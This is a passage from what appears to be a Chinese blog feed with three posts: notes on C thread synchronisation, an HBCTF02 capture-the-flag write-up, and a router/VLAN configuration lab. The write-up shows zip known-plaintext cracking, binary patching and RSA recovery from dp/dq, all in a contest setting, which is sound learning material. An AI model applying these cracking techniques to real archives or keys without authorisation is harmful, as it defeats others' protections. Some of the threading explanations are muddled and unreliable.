如果此时所有读者都离开了，那么激活写入</span></span><br><span class="line">        <span class="keyword">if</span> (readcnt == <span class="number">0</span>)</span><br><span class="line">            V(&amp;w);</span><br><span class="line">        V(&amp;mutex);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">write</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">// 等待资源，有资源后才能写</span></span><br><span class="line">        P(&amp;w);</span><br><span class="line">        <span class="comment">// **** 进入临界区 ****</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 离开临界区，完成写入后解除写入限制</span></span><br><span class="line">        V(&amp;w);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="6-19-更新">6.19 更新</h2><p>写作业在设计多线程的时候有点迷糊，这里记录一下思考过程:</p><p>我们知道，多线程设计存在两种方式 – 条件变量和信号量两种，现在我们根据一个例题来思考两者的区别;</p><h2 id="题目">题目</h2><ul><li>系统中有3个线程：生产者、计算者、消费者</li><li>系统中有2个容量为4的缓冲区：buffer1、buffer2</li><li>生产者生产’a’、‘b’、‘c’、‘d’、‘e’、‘f’、‘g’、'h’八个字符，放入到buffer1</li><li>计算者从buffer1取出字符，将小写字符转换为大写字符，放入到buffer2</li><li>消费者从buffer2取出字符，将其打印到屏幕上</li></ul><h2 id="基本思路">基本思路</h2><p>存在缓冲，所以我们首先要保证下列目标:</p><ul><li>生产者不能在缓冲区满了的时候继续生产。</li><li>计算者不能计算还未生产的数据，在缓冲区为空的时候也不能计算。</li><li>消费者不能输出还未计算的数据，也不能在空缓冲区的时候进行消费。</li></ul><p>同时，我们能够得下列的关系图:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread7.png" alt=""><br>这里注意到，有一些条件本身是有包含关系的：</p><ul><li>消费者在满足【不输出未计算的数据】时，必然满足【不输出空缓存区】</li><li>计算者在满足【不能计算未生产的数据】的时候，必然满足【在缓冲区为空的时候不计算】</li></ul><p>因此我们可以确定我们需要满足的互相依赖关系为：<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread8.png" alt=""><br>为了完成我们的目的，显然是要通过循环来实现的。但是我们不能保证这三个循环哪个顺序执行，所以要有一个限制条件来限制执行的过程:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread9.png" alt=""><br>(正确流程)<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread10.png" alt=""><br>(错误流程)<br>如何来限制循环呢？我们这里采取先前【读者 – 写者】的模型来实现。我们使用一个循环来劫持程序流，同时保证</p><ul><li>在三者交互中，前者未完成任务时，这个程序流在循环中陷入信号等待。</li><li>当前者完成任务时，激活其中一个线程，并且让其访问循环中的条件时不能成立，从而离开当前循环，而其他线程继续等待</li><li>完成一个任务后，能够向下一个任务发送相应的信号，从而让下一个任务的某一条线程能够激活。</li></ul><p>为了模拟这个缓冲区，我们使用两个数组来描述:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> buffer1[CAPACITY], buffer2[CAPACITY];</span><br></pre></td></tr></table></figure><p>然后，我们要模拟【生产者生产】，【计算者计算】和【消费者消费】三个过程，于是这里的使用<strong>in指向生产者的当前数据</strong>，<strong>cal指向计算者需要操作的数据</strong>，<strong>out指向消费者需要输出的数据.</strong><br>三个过程抽象成逻辑分别如下:<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread11.png" alt=""><br>保证生产者在缓冲区写满的时候不再写入数据,也就是说,in指针+1要永远小于cal<br><img src="/2017/05/01/C%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B/thread12.png" alt=""><br>保证计算者完成计算前,消费者不会往前继续取出数值,也就是cal+1要永远小于out<br>结合一下两者的要求,我们可以转换成下列的条件:</p><ul><li>当out和cal相等时候,可以认为此时所有数据被取出,为空</li><li>当(in + 1)%4 == out的时候,可以认为此时的缓冲区已经写满了</li><li>(推论)当(cal + 1)%4 == in的时候,认为此时生产的速度已经追上了计算的速度,此时正在发生计算,不能够进行读取和写出的操作.<br>于是我们就能够得到相应的限制条件.</li></ul><h2 id="使用信号量的解决思路">使用信号量的解决思路</h2><p>初始化的时候,将所有的信号量的初值定为0:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">res = sem_init(&amp;sem_producer, <span class="number">1</span>, <span class="number">0</span>); <span class="comment">// sem_init(sem_t *信号量, int 信号本身是否在进程间共享, int 信号量初值)</span></span><br><span class="line">res = sem_init(&amp;sem_calculator, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">res = sem_init(&amp;sem_consumer, <span class="number">1</span>, <span class="number">0</span>);</span><br></pre></td></tr></table></figure><p>然后我们在循环处,利用PV操作将计算者和消费者卡在循环处:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span>(buffer_is_calculate())</span><br><span class="line">    sem_wait(&amp;sem_calculator);</span><br></pre></td></tr></table></figure><p><strong>关键</strong>:在这之后,我们使用mutex将当前操作上锁</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pthread_mutex_lock(&amp;mutex);</span><br></pre></td></tr></table></figure><p>之后我们就能够正常的完成我们的作业操.完成后,发送信号量到下一个操作对象处并且解锁:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sem_post(&amp;sem_next_one);</span><br><span class="line">pthread_mutex_unlock(&amp;mutex);</span><br></pre></td></tr></table></figure><p>这样就能够实现<strong>利用信号量阻塞部分操作,并且让指定操作在某些作业后之后执行</strong></p><h2 id="使用条件变量的解决思路">使用条件变量的解决思路</h2><p>条件变量和信号量不太一样,条件变量是多线程中实现[等待-&gt;唤醒]功能的关键参数.举个例子来说:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// thread 1</span></span><br><span class="line">pthread_mutex_lock(&amp;mutex);</span><br><span class="line"><span class="type">pthread_cond_t</span> cond_mutex;</span><br><span class="line">pthread_cond_wait(&amp;cond_mutex, &amp;mutex);</span><br><span class="line">pthread_mutex_unlock(&amp;mutex);</span><br><span class="line"></span><br><span class="line"><span class="comment">// thread 2</span></span><br><span class="line">pthread_mutex_lock(&amp;mutex);</span><br><span class="line">pthread_cond_signal(&amp;cond_mutex);</span><br><span class="line">pthread_mutex_unlock(&amp;mutex);</span><br></pre></td></tr></table></figure><p>这里的cond_mutex就相当于是一个[带有条件的mutex],并且此时卡在当前指定的mutex上,当线程2开始执行之后,发出的信号将会重新激活thread 1,将其重新运行.这里的程序运行顺序为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">thread1 lock --&gt; thread1 cond wait -- &gt; thread1 unlock(but wait) -- &gt; thread2 lock --&gt; thread2 cond wait --&gt; thread2 unlock --&gt; thread1 lock(wait) --&gt; thread1 unlock</span><br></pre></td></tr></table></figure><p>这里注意到,和信号量相比最主要的区别还是在这个lock和unlock的位置.也就是说当我们使用条件变量的时候,我们的操作逻辑应该是<strong>先上锁,再设条件</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pthread_mutex_lock(&amp;mutex);</span><br><span class="line"><span class="keyword">while</span>(buffer_is_full())</span><br><span class="line">    pthread_cond_wait(&amp;wait_full_buffer, &amp;mutex);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>之后的逻辑和信号量差不多,只是这里使用的是激活操作;</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pthread_cond_signal(&amp;wait_for_calc);</span><br><span class="line">pthread_mutex_unlock(&amp;mutex);</span><br></pre></td></tr></table></figure><p><a href="http://blog.csdn.net/erickhuang1989/article/details/8754357">http://blog.csdn.net/erickhuang1989/article/details/8754357</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;比赛好多地方都讲了这个概念，而且加上最近开发的运用，看起来是时候是学习一波了&lt;/p&gt;
&lt;h2 id=&quot;more-c与多线程&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="操作系统" scheme="https://showlinkroom.me/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
    
    <category term="C" scheme="https://showlinkroom.me/tags/C/"/>
    
    <category term="多线程" scheme="https://showlinkroom.me/tags/%E5%A4%9A%E7%BA%BF%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title>HBCTF02</title>
    <link href="https://showlinkroom.me/2017/04/21/HBCTF02/"/>
    <id>https://showlinkroom.me/2017/04/21/HBCTF02/</id>
    <published>2017-04-21T13:57:20.000Z</published>
    <updated>2020-07-16T13:31:30.386Z</updated>
    
    <content type="html"><![CDATA[<p>这个周五的晚上开始的HBCTF，由于出题人比较忙碌，所以只出了一些较为简单的题目(?)</p><h2 id="more-hbctf02"><span id="more"></span><br>HBCTF02</h2><h2 id="misc-30">Misc 30</h2><p>这题下载下来就是一张图片:<br><img src="/2017/04/21/HBCTF02/hbctf0.png" alt=""><br>binwalk处理后得到内部存在另一个文本:<br><img src="/2017/04/21/HBCTF02/hbctf1.png" alt=""><br>使用以下指令:<br><img src="/2017/04/21/HBCTF02/hbctf2.png" alt=""><br>解压后得到文本<strong>bug0u}</strong>,发现这里好像只有一半的内容，另一半在哪里呢？我们用<br>stegsolve检查一下图片:<br><img src="/2017/04/21/HBCTF02/hbctf3.png" alt=""><br>最后在蓝通道中找到了这段文字。</p><h2 id="reverse-100">Reverse 100</h2><p>首先查看代码对读入的处理逻辑(听说有些人不能f5处理，但是我这边比较幸运)<br><img src="/2017/04/21/HBCTF02/hbctf7.png" alt=""><br>这个a2就是我们读入的字符串。注意几个坑人的地方:看到上面的红色线框的位置, flag这个变量阻止我们进入的逻辑中，存在将我们的输入^0x14后<strong>存放到b数组</strong>的逻辑中。然而我们可以看下一段check内容:<br><img src="/2017/04/21/HBCTF02/hbctf6.png" alt=""><br>从这里可以看出，我们的check逻辑是将<strong>b的内容进行比较</strong>。如果我们前面没有能够成功赋值的话，我们此时b中的内容将一直是’ '，显然是错误的。所以我们需要在动态调试的过程中将这个flag改成1（马上有第二个坑）。<br>继续看上面那幅图，会注意到我们的随机数种子是固定的，都是srand(0xc)，也就是说，随机数的生成时固定的。因此我们可以在动态调试的过程中将我们需要得到的字符串暴力破解出来:<br><img src="/2017/04/21/HBCTF02/hbctf5.png" alt=""><br>最后注意到，这段并不是密码。我们在<br><img src="/2017/04/21/HBCTF02/hbctf6.png" alt=""><br>中的第二个红框中存在第二个坑:此时的flag不能是1，要重新改回0，才会进入第二个判断语句。并且这里将<strong>变量c</strong>中的内容输出:<br><img src="/2017/04/21/HBCTF02/hbctf4.png" alt=""><br>最终会得到:<br><img src="/2017/04/21/HBCTF02/hbctf5.png" alt=""></p><h2 id="crypto-40">Crypto 40</h2><p>这个题目我觉得还是有很大的脑洞成分在里面的。。。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf8 -*-</span></span><br><span class="line"><span class="comment"># 使用windows系统</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix</span>():</span><br><span class="line">    mixed_flag=<span class="string">&#x27;没有告诉我们&#x27;</span></span><br><span class="line">    seed(<span class="string">&quot;www.ChaMd5.org&quot;</span>)</span><br><span class="line">    out=<span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">assert</span> randrange(<span class="number">0</span>,<span class="number">100</span>)==<span class="number">78</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> mixed_flag:</span><br><span class="line">        <span class="keyword">if</span> c.islower():</span><br><span class="line">            out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x61</span>+randrange(<span class="number">0</span>,<span class="number">26</span>))%<span class="number">26</span> + <span class="number">0x61</span>)</span><br><span class="line">        <span class="keyword">elif</span> c.isupper():</span><br><span class="line">            out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x41</span>+randrange(<span class="number">0</span>,<span class="number">26</span>))%<span class="number">26</span> + <span class="number">0x41</span>)</span><br><span class="line">        <span class="keyword">elif</span> c.isdigit():</span><br><span class="line">            out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x30</span>+randrange(<span class="number">0</span>,<span class="number">10</span>))%<span class="number">10</span> + <span class="number">0x30</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            out+= c</span><br><span class="line">        <span class="comment"># print(out)</span></span><br><span class="line">    <span class="built_in">print</span> out</span><br><span class="line">    <span class="comment">#输出是 SACBK8AEJCAOW52YL9ANBO7PQ0YvrEajcxnu7784704595388694801</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    mix()</span><br></pre></td></tr></table></figure><p>同样的，额也是因为没有设置随机数种子导致的随机数不随机。那么其实我们只要稍微改一下代码就能够得到答案:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf8 -*-</span></span><br><span class="line"><span class="comment"># 使用windows系统</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix</span>():</span><br><span class="line">    <span class="comment"># mixed_flag=&#x27;SACBK8AEJCAOW52YL9ANBO7PQ0YvrEajcxnu7784704595388694801&#x27;</span></span><br><span class="line">    seed(<span class="string">&quot;www.ChaMd5.org&quot;</span>)</span><br><span class="line">    out=<span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">assert</span> randrange(<span class="number">0</span>,<span class="number">100</span>)==<span class="number">78</span></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> mixed_flag:</span><br><span class="line">        <span class="keyword">if</span> c.islower():</span><br><span class="line">             out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x61</span>-randrange(<span class="number">0</span>,<span class="number">26</span>)+<span class="number">26</span>)%<span class="number">26</span> + <span class="number">0x61</span>)</span><br><span class="line">        <span class="keyword">elif</span> c.isupper():</span><br><span class="line">            out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x41</span>-randrange(<span class="number">0</span>,<span class="number">26</span>)+<span class="number">26</span>)%<span class="number">26</span> + <span class="number">0x41</span>)</span><br><span class="line">        <span class="keyword">elif</span> c.isdigit():</span><br><span class="line">            out+= <span class="built_in">chr</span>((<span class="built_in">ord</span>(c)-<span class="number">0x30</span>-randrange(<span class="number">0</span>,<span class="number">10</span>)+<span class="number">10</span>)%<span class="number">10</span> + <span class="number">0x30</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            out+= c</span><br><span class="line">        <span class="comment"># print(out)</span></span><br><span class="line">    <span class="built_in">print</span> out</span><br><span class="line">    <span class="comment">#输出是 &#x27;NBRGG5DGPNRGC43FL5XGSY3FX2FueGlhbmdf8316025876259956605&#x27;</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    mix()</span><br></pre></td></tr></table></figure><p>然后，这一题没这么简单。。。。仔细看密码最后一段，发现是16进制编码，得到答案:<br>shuiying}<br>前面一整段强行base64解码后，会发现中间那段是base64处理后字符串:<br><em>anxiang</em><br>最前面那段想了很久，发现只有大写字母和一些数字，于是猜测base32：<br>hbctf{base_nice<br>最终得到flag<br>hbctf{base_nice_anxiang_shuiying}</p><h2 id="misc-40">Misc 40</h2><p>首先我们发现这个zip文件也是加密的zip:<br><img src="/2017/04/21/HBCTF02/hbctf9.png" alt=""><br>我们使用<strong>ZipCenOp</strong>这个软件进行伪加密的解密处理后，发现文件被损坏。说明此时的确是存在密码的。然后我们发现这个压缩包里面并不是所有文件都是获取不到的:<br><img src="/2017/04/21/HBCTF02/hbctf10.png" alt=""><br>这个BurpLoader应该是可以从网上下载到的，这个文件其实是BurpSuite破解版使用的载入程序。加上题目中有提升到说，要从指定的网站下burpsuite。于是这里将那个位置上下载burpsuite后，将文件目录组织如下：<br>文件夹<br>|-- BurpLoader<br>然后将<strong>文件夹整个</strong>压缩成压缩包。<br>最后使用神奇AZRP中的plain-text的选择明文攻击，分别填写文件目录:<br><img src="/2017/04/21/HBCTF02/hbctf8.png" alt=""><br>最后按下start、就可以进行选择明文破解。之后会让我们选择将解压后的文件的存放位置，我们就能够得到解药后的zip了。<br><img src="/2017/04/21/HBCTF02/hbctf11.png" alt=""></p><h2 id="crypto-100">Crypto 100</h2><p>这是一个RSA，文件内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">c:0x258f85f5d08a95a909a4d9a4c66bf4249fba21091ddfe9fcfcd33c9f4cf285af9eb99c77f839a1a7ee7791c1e98f023adf3b02561a8c45e651f1984852b9a0280e24bee7bd4fc95d217b874f135e693f748d7b</span><br><span class="line">n:0x27335d21ca51432fa000ddf9e81f630314a0ef2e35d81a839584c5a7356b94934630ebfc2ef9c55b111e8c373f2db66ca3be0c0818b1d4eda7d53c1bd0067f66a12897099b5e322d85a8da45b72b828813af23</span><br><span class="line">p&gt;q</span><br><span class="line">dp:0x40dadac6db130c9b1a33bab328dc7335220e0e1ec26cc03bf405211013cdb500a70d1a619565f2c0aaf</span><br><span class="line">dq:0x2f1af91dc6ae2abba0a0b7cb4bf1a6361157f39b06bb3b17c2ce6b208aa0b5be634922a7ccfcfc586c5</span><br></pre></td></tr></table></figure><p>这里比较头疼的是这个dp和dq。n完全可以使用各种花式网站分解成p和q，然后我们会发现，此时我们不知道e或者d，导致我们没办法解密。晚上一着急没想到要去google找，后来找到的内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">dp = d mod p - 1(dP = (1/e) mod (p-1))</span><br><span class="line">dq = d mod q - 1(dQ = (1/e) mod (q-1))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>换句话说，我们这里可以利用p和q快速的找到d！<br>首先上网址<a href="http://factordb.com/">大素数分解</a>,得到p和q:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871</span><br><span class="line">q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869</span><br></pre></td></tr></table></figure><p>然后可以上网找到这类算法的快速解法:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">qInv = (1/q) mod p</span><br><span class="line">m1 = cdP mod p (c^(1/e) mod p)</span><br><span class="line">m2 = cdQ mod q (c^(1/e) mod q)</span><br><span class="line">h = qInv.(m1 - m2) mod p </span><br><span class="line">m = m2 + h.q</span><br></pre></td></tr></table></figure><p>快速的写一个脚本解决好了:<br><img src="/2017/04/21/HBCTF02/hbctf12.png" alt=""><br>这种数学的东西。。。看的脑大。。。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个周五的晚上开始的HBCTF，由于出题人比较忙碌，所以只出了一些较为简单的题目(?)&lt;/p&gt;
&lt;h2 id=&quot;more-hbctf02&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="reverse" scheme="https://showlinkroom.me/tags/reverse/"/>
    
    <category term="ctf" scheme="https://showlinkroom.me/tags/ctf/"/>
    
    <category term="misc" scheme="https://showlinkroom.me/tags/misc/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业4-路由器的配置与防火墙设置</title>
    <link href="https://showlinkroom.me/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/"/>
    <id>https://showlinkroom.me/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/</id>
    <published>2017-04-20T03:11:48.000Z</published>
    <updated>2020-07-16T13:31:30.440Z</updated>
    
    <content type="html"><![CDATA[<p>继续上次的实验</p><h2 id="more-路由器配置实验"><span id="more"></span><br>路由器配置实验</h2><p>首先看实验要求:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route0.png" alt=""><br>根据要求来看，我们其实是将路由器<strong>划分成两个端口</strong>，然后让不同的端口之间<strong>相互沟通</strong>。然后我们看接下来的代码可知:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[h3c-switch]</span><br><span class="line">Vlan 41 // 配置41局域网</span><br><span class="line">Port e1/0/2// 指定端口</span><br><span class="line">Int vlan-interface 41 // 然后指定对应端口的接口</span><br><span class="line">Ip address 142.16.1.1 24 // 端口的ip</span><br><span class="line">Qu</span><br><span class="line">Vlan 42</span><br><span class="line">Port e1/0/1</span><br><span class="line">Int vlan-interface 42</span><br><span class="line">Ip address 142.16.2.1 24</span><br><span class="line">qu</span><br><span class="line">[h3c-route]</span><br><span class="line"></span><br><span class="line">Int g0/0// 路由器配置g0/0</span><br><span class="line">Ip address 142.16.1.2 24// 设置路由器g比特以太网的0端口上的ip</span><br><span class="line">Qu</span><br><span class="line">Int g0/1// 路由器配置g0/1</span><br><span class="line">Ip address 142.16.3.1 24// 设置路由器g比特以太网的1端口上的ip</span><br><span class="line">Qu</span><br><span class="line">Ospf 1</span><br><span class="line">Area 0</span><br><span class="line">Network 142.16.1.2 0.0.0.255</span><br><span class="line">Network 142.16.3.1 0.0.0.255</span><br><span class="line">qu</span><br></pre></td></tr></table></figure><p>配置vlan41和vlan42:<br>142.16.1.1/24 和 142.16.2.1/24 然后将 vlan42 下的其中一个口与路由器的 g0 口相连，然后设置路由器的 g0 口和 vlan42 位于同一个网段，在配置 g1 口即可.</p><p>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=<br>晚上做完实验才被告知，实验中没有提供完整的代码，而且提供的网络拓扑图是错的。。。干，怪不得上述的代码看上去不能运行的样子。。。<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route1.png" alt=""><br>真实要求:<br>让主机142.16.1.66通过路由器与交换机进行数据传输，并且在最后实现和vlan41下的某台主机进行通信。</p><p>上述的代码只是在配置交换机而已，于是这里需要配置一下路由器:<br>首先复习一下我们的网络设备:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route2.png" alt=""><br>于是根据我们实现的网络拓扑图的要求，我们需要将主机与路由器15端口相连接,并且简单配置路由器中的状态（路由器的配置代码如上）。<br>此时我们第一次检查我们端口情况,发现是可以ping通的。于是检查此时的路由器中的配置情况:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route3.png" alt=""><br>当Link下出现了<strong>up</strong>状态的时候，就说明此事后的路由是接通的。其实这里一开始有个小插曲，我们一开始的时候并没有将<strong>路由器</strong>的g1/0完成接通，因为我以为，路由器的内部是这样的:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route4.png" alt=""><br>然而实际上，路由器的内部就好像<strong>电路</strong>一样。只有接通了的时候才会发生连接。于是第二次的时候，我把路由器接到了接线口A中的交换机里面（注意我们之前提到过的，A口中的为二层交换机，并不具备路由功能），结果依然是失败了。。。。<br>最后在助教的帮助下，终于意识到交换机的问题，将网线从A19接到了B8，才终于把这一关过了。。。<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route5.png" alt=""><br>虽然上述代码实现了从142.16.1.2路由到142.16.3.1的功能，但是为了实现到交换机的路由，我们还需要配置一下交换机:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route6.png" alt=""><br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route7.png" alt=""><br>由于此时路由器g0/1和交换机的eht1/0/8设置在了同一网段内，所以交换机会自动进行转发，然后我们同构设置142.16.3.7、142.16.4.1和142.16.2.3进行osfp转发，实现不同数据包的传输。<br>(PS:由于计算机的数量不足+搞得太晚了，于是我们在这里只是完成了142.16.4.1的配置，于是另一个接口就down掉了。。。）<br>最后我们还要将目标机子的ip设置在同一个ip网段内，并且<strong>设置网关，让数据包默认走142.16.4.1</strong>，从而<strong>主机通过路由器，与不同网段内的交换机中的vlan下主机进行交互</strong></p><h2 id="多路由器连接">多路由器连接</h2><p>实验要求:<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route8.png" 